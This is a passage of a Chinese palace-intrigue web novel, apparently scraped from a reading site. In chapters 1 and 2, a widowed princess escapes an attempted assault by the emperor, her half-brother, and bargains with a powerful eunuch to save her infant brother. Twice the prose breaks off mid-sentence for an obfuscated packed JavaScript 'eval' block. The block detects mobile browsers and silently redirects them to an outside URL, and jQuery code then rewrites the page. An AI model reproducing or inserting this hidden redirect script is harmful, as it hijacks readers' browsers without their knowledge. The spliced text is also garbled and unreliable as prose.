《与宦谋皮》 1. 厂督 中秋良夜,佳月端圆。 栾和君一身厚重的暗色朝服,从酒宴正酣的大殿上悄悄避出来,扶着乳母嬷嬷的手在御花园的石凳上坐下:“里头的酒气太浊,闷得人透不过来气。” 叶嬷嬷为她摇着团扇:“先帝崩逝不足半年,宴饮乐声,也闹得太不成体统。公主——”话一出口,她便知失言。如今是新帝在位,她合该改口叫长公主了。 栾和君自嘲地一笑,并不在意:“事到如今,嬷嬷还不习惯吗?此处临近德阳宫,嬷嬷去冯太妃那里取一些茉莉清露来冲,咱们在这里喝了,清清口再回去。” 冯太妃那里素来存着江南冯家进贡的茉莉清露,芬芳清爽,最适宜在这样粘稠凝滞的闷夜里来清口静心。 叶嬷嬷便将团扇放下,答应着去了。 这一处清静少人,栾和君方才在宴上被皇帝逼着祝了几次酒,此时正好坐着吹一吹凉风。 忽而附近传来人声走动,她刚扶着山石站起来,只见眼前走近一个明黄色的身影。 “皇兄。”她心下猛地一沉,低低地跪拜下去。 “六妹——”皇帝孑然一身而来,声音里带着几分醉意。 栾和君心知不妙,只想避开:“臣妹先行——” 话音未落,皇帝已经上前一步:“小六!”栾和君顾不得繁复衣裙,向旁边急急闪避,让扑过来的皇帝抓了个空,自己的腰却硌在假山石上,撞了个钗环散乱。 山石间孔隙狭小,她转身要离开,却被皇帝扯住宽大的袍袖一把扯了回来。他埋首在她香软的颈窝间,带着酒气的气息喷在她柔嫩的皮肤上。 “皇兄,你醉了。”栾和君强忍心头厌恶,用力推拒着帝王的胸膛。皇帝并不睬她,挥手扯下她缀在臂上的黑纱,栾和君整个人被他抵在山石上,只能从挣扎的缝隙里看到枝桠间的一轮白月亮。 栾和君只觉得荒唐。 中秋夜。阖宫宴。帝王家。她被自己同父异母的皇帝哥哥陷于如此境地! 她那件银线金丝的五凤袍已经被褪到了腰际,露出嫣红抹胸,衬着莹白的胸口和脖颈。那支嵌玛瑙累丝金簪够不够锋利? 栾和君的手攥上金簪,看着埋首在她面前的皇帝暗暗咬牙。 “皇上!皇上!”外面忽然传来内侍们惊慌的呼喊。 有人在假山外站定,然后栾和君听到一个熟悉的声音:“陛下,太后娘娘忽发不适,请陛下前去看看。” 她感到皇帝的手指猛地掐进她的胳膊里,然后她整个人被不耐烦地甩开。荒唐的帝王理了理自己的朝服,不甘地看她一眼,大步离开。 离宴醒酒的皇帝被簇拥着离开,栾和君拉起自己的外袍。 “长公主殿下。”她手指一抖。 假山外的人已经施施然走进来,将她这幅衣鬓散乱的样子全数收入眼底。他捡起掉在地上的珍珠步摇,轻轻插在她堕在一边的乌云髻上:“臣为长公主更衣。” 栾和君咬住下唇,抬起双臂:“有劳厂督。” 东厂厂督白敞,先帝在世时最炙手可热的人物。其人“举动回山海,呼吸变霜露”,朝堂乡野传唱不休,惧其势大,贬其弄权。如今新帝登基,他威势不减,栾和君一个乍然失势的长公主,半点得罪不起。 这位厂督大人生了一副骨相凌厉的好皮囊,龙泉剑锋一样,锐而寒凉。偏他又爱笑,那一点如雾一样淡薄缥缈的笑意,很容易就中和了他身上的狠戾阴鸷之气。 此刻,他一双凤眼低垂着,纤长白净的手指骨节分明,正为她抚平五凤袍绲边。 “多谢厂督。”栾和君扶正自己的发髻,对这位权倾朝野的大太监微施一礼。 白敞瞧着她镇定下来的眉眼,轻轻嗤笑一声:“长公主是抚宁侯的未亡人,穿这样艳的衣裳可不好。” 栾和君对着自己海青色的朝服迷惑了一瞬,很快就反应过来他在指那件嫣红的小衣,咬牙切齿道:“谢厂督提醒,本宫去瞧瞧母后。” 白敞后退一步让出路来:“殿下仁孝。”这话被他说得满是嘲讽,栾和君只作不闻,背过身去快步离开,几乎将一口银牙咬碎。 中秋宫宴因为太后的突然晕倒匆匆而散,栾和君不愿久留,去太后寝殿前跪了一跪问安,便在一片混乱中悄然离开。 “呸,栾瑞那个贱胚子敢这样对公主!”叶嬷嬷听栾和君大致说了此夜遭遇,早已气红了眼睛,“若是娘娘还在,怎么会让公主受此大辱!” 她的公主是天下最骄傲最受宠爱的小凤凰,未出嫁时便能不让须眉与男子争锋,言辞锋利与朝臣辩理;即使嫁人后变故丛生,皇家贵女的才情傲骨也让满京贵族无不折服。谁承想一朝改地换天,竟要受那毒妇所出的儿子如此折辱。 “嬷嬷噤声。”栾和君疲惫地倚在马车车厢壁上,支颐阖眼,“议论帝王是死罪。” 叶嬷嬷的声音便低下去,隐没在哒哒的马蹄声中:“若不是先帝和娘娘先后......怎么会......”栾和君握一握她枯瘦的手,主仆二人默默无言,向长公主府而去。 栾和君新寡,已搬出抚宁侯府,重回长公主府。 她的婚事是父皇母后生前细细推定的,择的是名门望族的霍家独子霍平霜,文武双全,人品清雅。栾和君从前只遥遥见过他几面,但因为是父母着意选出,夫家是累世清流,婆母寡居,是出了名的和善好心肠,一生顺心安稳是看得到头的,也就压下心头几分不甘,只安心备嫁。 谁料成婚当日,母后病逝,她从洞房里扯下盖头换上孝衣;月余,父皇崩逝,朝纲震动;新帝甫一登基,北境战事告急,霍平霜被急诏赴沙场,半月后战报抵京,霍小将军战死沙场,马革裹尸。皇帝追封他为抚宁侯,赐栾和君金帛宅邸,厚加抚慰。 不足三个月,栾和君就失怙失恃,从闺阁女成了他人妇,又成了未亡人,成了克父母克夫君的天煞孤星。 “殿下!殿下!”马车将将停稳,栾和君便听得府中仆从慌作一团,掀帘斥道:“慌什么!”她是自小金枝玉叶娇养大的皇家嫡女,又在抚宁侯府中掌过内宅事,不需疾言厉色,通身的气派威压便使庭院内霎时安静下来。 婢女阿芷惶惶回禀道:“殿下,小主子自入夜便一直干呕,发高热,现下,现下——”不等她说完,栾和君已经下了马车,快步走向内院。阿芷跟在她身后: “奴婢遣人去请太医,回话说宫中太后娘娘不好,整个太医院都不得闲。” “先前想着城里的大夫不知根底,不敢贸然去请。可小主子越来越不好,奴婢自作主张请了西城徐大夫来,开了方子,要不要给小主子服下,还请殿下定夺。” 栾和君已经走到内室,从乳母怀中抱过娇娇软软的婴孩,他一张脸烧得通红,倒也不大哭,只是一个劲地挣扎呜咽。栾和君瞧着他和自己极相似的一张脸,既心焦又心烦,一时间百般事千般情一起涌上心头,竟贴着婴孩的脸落下两滴泪来。 这是她一母同胞的亲生弟弟,先帝最小的九皇子栾珏,如今尚且不满一岁。父皇崩逝之后,她在大殿上对着群臣跪泣,只说小儿幼弱,不能再离亲人,才把他从宫中抱回长公主府抚养,保得一条性命。 当日,母后从她的婚宴上回宫,在路上落水而亡,栾和君已经疑心是如今的太后秦氏作祟,只暗地里搜集证据;好不容易有了眉目,父皇却忽然暴毙,秦氏的儿子栾瑞竟拿出遗诏,要承继大统。 栾和君只觉得父皇死因蹊跷,可是她已为人妇,手中无权,又曾因以女子之身参政被参奏,争不得辩不得,只能眼睁睁看着栾瑞登上皇位。 偏偏今夜,她在皇宫受辱,栾珏在府中急病。皇帝登基不过数月,便一逼再逼,这样下去,她和弟弟迟早折损在太后和皇帝手里。 栾和君用发颤的手臂将幼弟递到叶嬷嬷怀里,抓起桌上那张药方。阿芷在一旁小心翼翼问道:“殿下?” 栾和君摇摇头,屏退众多仆从,吩咐道:“阿芷,你守好门户,伺候九殿下的人一个都不许离开。嬷嬷——”她转向满脸忧心的老嬷嬷,“备一顶小轿,抱着九殿下,随本宫去提督府上。” 她不敢相信这样一张由陌生大夫开出的药方,可是自己的人又被拘在宫里,若说京城里还有谁能为珏儿延医诊病,大概也只有那位权倾朝野的厂督大人了。 “公主真要去找那个阉人?”叶嬷嬷一边哄抱着栾珏,一边忧心道。栾和君垂着眼睛,面容隐在轿内黯淡摇晃的光影中,神色不明。 她一点都不想去找白敞。 白敞得势,是在父皇晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902473|160122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年。栾和君是亲眼看着他如何从一个贴身近侍一点点成了秉笔太监,成了东厂厂督,成了朝野令人闻之色变的权奸大宦。她也曾几次劝过父皇,不宜放权给阉人过甚。这样的过节,白敞也必定是知道的。 先帝在世时,如今的太后、当年的秦妃就百般忌惮栾和君,竟向朝臣放出消息,说先帝有意立她为“皇太女”,掀起一场激烈的朝野舆论来打压她。此事虽则是秦氏陷害,也足可见栾和君如何受先皇宠爱偏疼。 当年父皇软弱,母后温贤,偏偏宠出她胸怀野望,杀伐决断不让须眉。人人背后都说白敞是出身低贱的阉宦权奸,栾和君却觉得他能一步步爬上来把持朝政,固然是父皇昏懦纵容,其人也必有他过人之处。所谓权奸,大多能臣。 可这样想时,她还是心高气傲的嫡公主,白敞是初秉大权的朝廷新贵;而今新帝登基,白敞权势更炽,栾和君却自身难保,上下易位,情势自然不复当初。 素轿在京城小巷里隐秘地穿行,时近四更,中秋赏月的人们大都安歇睡下,巷道里只传来偶尔的几声犬吠。随着小轿拐入白府黑玉铺地的后街,便连那偶尔的犬吠也听不见了。 栾和君下轿,叶嬷嬷怀抱栾珏,扣响白府后门。 朱红色的大门几乎应声而开,小厮低眉顺目向栾和君行礼:“厂督大人静候长公主殿下多时。” 他又转向叶嬷嬷:“请嬷嬷厢房歇息。”栾和君从她怀里抱过幼弟:“走吧。” 白府是几进的深宅,曲折回环。廊道以南疆的乌沉木为梁为盖,以西域的青白玉为砖为道,不杂金银,不饰琉璃,以栾和君一双见惯了异宝奇珍的眼睛看去,也是一派令人称奇的雍容雅意。 时值中秋,庭院中依然林木葳蕤。栾和君随小厮穿花拂柳,转过各色奇花异草,走了足足一刻钟,才见眼前陡然开阔,一棵冠如华盖的梧桐树立在庭院中央,白敞正斜倚在树下,身下一张黑狐大氅,发未绾,衣未整,墨缎一般的长发散在素白的中衣上,膝上卧着一只毛色雪白的猫儿。 月华皎皎,栾和君在那一刻不得不承认白敞的俊美无俦。但她更清楚,白敞这样衣冠不整地见她,是一种有意的轻蔑和试探。 “厂督,”栾和君深吸一口气,走近他身边,软声道,“求厂督救救珏儿。” 白敞冲她招招手,栾和君顺从地蹲下,把婴儿熟睡的脸抱在他面前。白猫摇摇尾巴,蹭过栾和君的脸。 白敞在栾珏滚烫的脸蛋儿上轻轻一掐:“咱家以为长公主今夜是闻弦歌而知雅意,怎么还带了个小的来?” 他不再称臣。 白猫喵呜一声,转过头来,一双蓝光幽幽的眼睛同白敞一起落在栾和君身上。 栾和君垂首敛目,任一人一猫肆意打量。 “安海——”白敞唤过刚才那个小厮,“带九殿下下去请大夫。” 栾和君将栾珏交给安海:“多谢厂督。”白敞微微抬起她的尖下颏儿:“长公主今夜已经谢了咱家两次了。”栾和君的手缓缓覆上他的手背:“本宫还愿再谢厂督第三次。”白敞的薄唇挑起笑意:“哦?” “皇帝荒淫残暴,不配掌我栾氏天下。” 白敞盯着她坦然的双眸,忽然摇头嗤笑起来:“只因为受了皇上亵渎,便要夺了他的江山,长公主好烈性。可是——长公主若是真烈性,守节期间受此大辱,早该一根白绫吊死,怎么还来找咱家呢?”他的声音像掺了砂的蜜糖,甜柔悦耳里带着微微的嘶哑。 “自然是为我栾家江山计,为朝纲万民计。”栾和君的身子随着她的声音一起低柔下去,和那只白猫一起,伏在白敞膝上。 白敞挑起她一缕发丝捻在手中:“皇帝荒淫与否,长公主恐怕根本不在意,也不必扯什么江山不江山的鬼话。若是皇帝饶你性命、允你参政,不要说御花园里得趣一二,就是要长公主夜夜婉转承欢,长公主只怕也欢喜得很呢。”他故意将话说得不堪,一层层剥下她的傲气和体面。 “厂督折辱够了,难道还不肯成全?”栾和君将他的话咬牙咽下,依然语调柔顺。 于是白敞的手指顺着她雪白腻滑的脸蛋儿滑下去:“要咱家成全,长公主总要给个凭证。” 白猫伸出粉红色的舌头,轻舔栾和君搭在白敞身上的手背。 2. 霍府 下一刻,栾和君却推开他支起身子:“自然有凭证。” 她站起来,俯视着倚在树下的白敞:“珏儿急病,凶险万分,活过今夜是他的福气,活不过是他的命数。”她弯下腰凑近白敞耳边:“珏儿就是凭证。本宫不带走他,一切全凭厂督决断。”她转身离去。 九皇子栾珏,是先帝唯一一个嫡出皇子,是皇位最名正言顺的继承人,也是满朝里皇帝最大的忌惮和栾和君最大的倚仗。他若有个万一,栾和君便几乎无牌可打。 叶嬷嬷见栾和君独身出来上了轿子,亦是大惊大惑:“公主——公主怎么放心把九殿下交到那个阉人手里?” “不然如何?我来请他延医治病,已是把珏儿的命交在他手里了,留不留下都是一样的。”栾和君方才在白敞面前软话说尽、应对从容,这时候指尖才微微发起颤来,“不过嬷嬷放心,珏儿不会有事的。” 当今皇帝和太后联手杀后弑君,才得了这个帝位,自有自己的一班心腹势力,不过为了稳住白敞这个大太监才厚加笼络。而白敞也未必放心这个多疑残暴的皇帝。这两个人迟早要咬起来,这一点栾和君毫不怀疑,但她先得让自己活到那个时候。 御花园假山石后,明月夜梧桐树下,白敞虽然多番轻侮调笑,到底是为她两次解围。他有意联手,她自然要十分识趣,投桃报李。何况她现在手里无兵无权,宫中亲信也大半被清洗干净;而白敞手握东厂、禁军两股力量,朝中爪牙党羽无数。栾和君算遍棋局,也不得不承认,这位行事诡秘、心思阴狠的东厂提督大人,是她唯一的选择。 这一夜栾和君睡得并不安稳。年少旧事,纷纷入梦来。 一时是母后温柔地招手喊她的小字:“阿琬来,母后新煮了你爱吃的桂花圆子。”一时又是栾珏大哭,母后却浑身苍白浮肿地躺在那里,如她临死时那样,只是一声一声凄厉地喊她:“阿琬,去看看你弟弟呀!阿琬!” 一时是年轻时的父皇为小小的她延请名师,似宽慰似遗憾地摸着她的头说:“惜我阿琬不为男儿。”一时又是父皇的尸身躺在金棺里,她上前去叩头,却被一群人狠命捂住了嘴。她挣扎、喘息、呜咽,却发不出一丝声音。 “父皇——”她用力一挣,却惊醒在自己的床上。 阿芷在帐外侍候,忙挑明了一盏灯:“殿下?” 栾和君慢慢坐起来:“什么时辰了?”她贴身的小衣被汗溻得透湿,头晕目眩地喘匀一口气,一时不知今夕何夕。 “快五更了,您才歇了不足一个时辰。” 她在床上静静呆了片刻,才接过阿芷递来的一杯温蜂蜜水慢慢呷了,吩咐道: “将九殿下的药方留好,伺候九殿下的人也看管好,吃喝不缺,只是不许出门,不许说话。伺候本宫起身,去抚宁侯府陪老夫人用早膳。” 天光微熹时,栾和君便回到了抚宁侯府。她仍是这里名义上的女主人,一径到了霍老夫人院前,阿芷对外头伺候的老妈妈们福一福身:“劳嬷嬷们通禀。” 不多时,小丫鬟便来请:“请少夫人进去。” 霍老夫人身量不高,体态微丰,原本一张笑眯眯的圆脸儿在丧子后迅速地消瘦下去,整个人看上去老了十岁不止,此刻正坐在台前梳头。 栾和君静悄悄地进了内室,行了大礼:“媳妇问婆母安。” “起来坐吧。”霍老夫人令丫鬟去扶她,“这样早就来了,吃过饭没有?” “未曾,特意来伺候婆母用早膳。” 霍老夫人看了她一眼,便将丫鬟打发出去:“去传膳。”她叹了口气:“长公主,我同你说过,平霜之死,我不怪你。” 她开门见山,栾和君反而一时愣了愣。 她对霍老夫人,对整个霍家,是真心有愧的。自她嫁入霍家,前朝后宫风波不断,她虽为新妇,亦是皇女,那段日子几乎住在了宫里,极少待在霍府,霍老夫人和霍平霜也从未苛责。及至霍平霜血染沙场,霍老夫人也没有见怪于她。 什么克夫、天煞之说自然是无稽之谈,可是栾和君和栾珏这对姐弟虽然一个女子,一个小儿,但占着嫡出的名分,何况栾和君又是自小作皇子一般养大,自然是皇帝和太后的眼中钉肉中刺。要动她,自然要先一一掰断她身后依仗,霍家首当其冲。换句话说,霍平霜因她而死。 “婆母宽仁,媳妇惭愧。” “不是我宽仁,是怪你也无济于事。各人有各人的命数,平霜......”霍老夫人哽咽着说不下去了。 “婆母,”栾和君递给她自己的方帕,“媳妇一日为霍家妇,一生为霍家妇。有媳妇在一日,自然会护霍家上下周全,也请婆母怜惜,时时回护媳妇一二。” 霍老夫人抬起头来看着她:“长公主要做什么?” 栾和君不语,抬手吩咐下人端来食盒:“媳妇特意做了婆母爱吃的玫瑰酥和嫩荷米粥,伺候婆母用膳。” “罢了,”霍老夫人摇摇头,“长公主要做什么做就是了。” 抚宁侯府的早膳和栾和君带来的食盒被一一呈上来,玫瑰的甜香和清粥的热气一起氤氲开来。 栾和君站起来布箸,霍老夫人静静看了她片刻,拍拍她的手:“这是先帝赐下来的姻缘,霍家与长公主同心同意,断不得的。” 霍家清流显贵,族中子弟门客众多,虽然不任要职,但是一股巨大的舆论力量。栾和君日后真要搅动风云,绕不开自己这位寡居的婆母大人。 听到霍老夫人的表态,她才安下一颗心,为老夫人盛粥布菜。一顿饭还没用完,阿芷便进来奏事:“老夫人,殿下。宫里来人传旨,诏殿下入宫为太后娘娘侍疾。” 狗皇帝心这样急。 栾和君的银箸下掉落几丝碧绿的菜尖儿。她扶了扶额头,这理由冠冕堂皇,她不能无故抗旨,否则更是授人把柄。 “你去回他,就说本宫身——”栾和君正想借病推脱过去,就见皇帝身边的内侍王可躬身进来,冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902474|160122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她行礼道:“长公主安康,老夫人安康。” 栾和君咬牙:“大胆!谁许你一个奴才擅闯官眷内室的?” “殿下恕罪,奴才一心办差,不小心坏了规矩,”王可皮笑肉不笑,“可殿下是个最懂规矩的人了,请吧。” 退无可退,霍老夫人却忽然开口:“说起来,老身也许久未曾进宫问安了。太后娘娘凤体有恙,老身自当前去看望。”她携住栾和君的手,和善地对王可点点头:“王公公带路吧。” 婆媳两个一同入宫,来至寿安宫前,宫女却只将霍老夫人迎了进去,只说太后娘娘要和老人家叙话,请长公主宫外稍待。 密密的彤云压下来,仲秋时分,风从高高的砖红宫墙上卷下来,沁凉。栾和君望了望天色,把手往袖子里拢一拢,低眉站定。 秋风越刮越凉,终于卷下来几滴雨,渐渐丝连成片,寒雨浇人。栾和君立在雨中,寿安宫的宫女内侍站立屋檐下,眼观鼻鼻观心视若无睹。到了午膳时分,栾和君已在雨里站了整整一个时辰。她在女子中不算体弱,这时也有些目眩发冷。 “长公主好雅兴,”一柄乌骨伞终于罩在栾和君头上,白敞悠悠然站在她身后,“雨中赏景,当心身子。” 栾和君用冰凉的手抹去脸上的雨水,抬头看他:“厂督大人终于瞧够戏了。”她在寿安宫前站了这么久,只怕是阖宫都知道了,白敞如今才姗姗来迟,大有瞧她笑话的意味。 白敞环住她的肩膀往自己身边一带,笑道:“不要淋着。长公主这是在赌气了,咱家还是心疼你的。”茫茫雨幕隔开众人视线,把白敞和栾和君两人包裹在伞下的一方天地里。 “既然太后娘娘不得空见长公主,皇上传长公主去御书房用午膳。” “你来传皇帝的旨?” “是。” 栾和君浑身湿透,白敞贴着她的半边身子也被沾上水迹,湿湿滑滑,又透着两个人皮肉的热气。 “我这副模样,皇兄要我去用膳,还是要我去更衣?” “用膳更衣,都有咱家伺候,长公主宽心。” 两个人并行至上书房前,白敞才放开栾和君,微微后撤半步。殿里小太监忙跑出来回禀:“厂督大人。殿下,皇上突发不适,怕是不能见您了。” “那真是不巧,想必是方才那盏茶吃伤了肠胃。”白敞用一个毫不遗憾的笑容表达着遗憾,好像这一切和他毫无关系,“臣送长公主出宫。” 栾和君转身,在他身边低声:“厂督做事还真是麻烦。” 白敞大可找个别的什么由头让她出宫,非要经皇帝这条远路。他内里做事实在谨慎,明面上的章程滴水不漏。 “长公主受人之恩,就最好懂事些。”白敞掐了一把她的腰,又扶稳她,“这样出宫不像个样子,咱家伺候长公主更衣。” 他在一座宫室前停住,栾和君诧异地转过头:“去冯太妃这里?” 白敞微微一笑:“如长公主所愿。”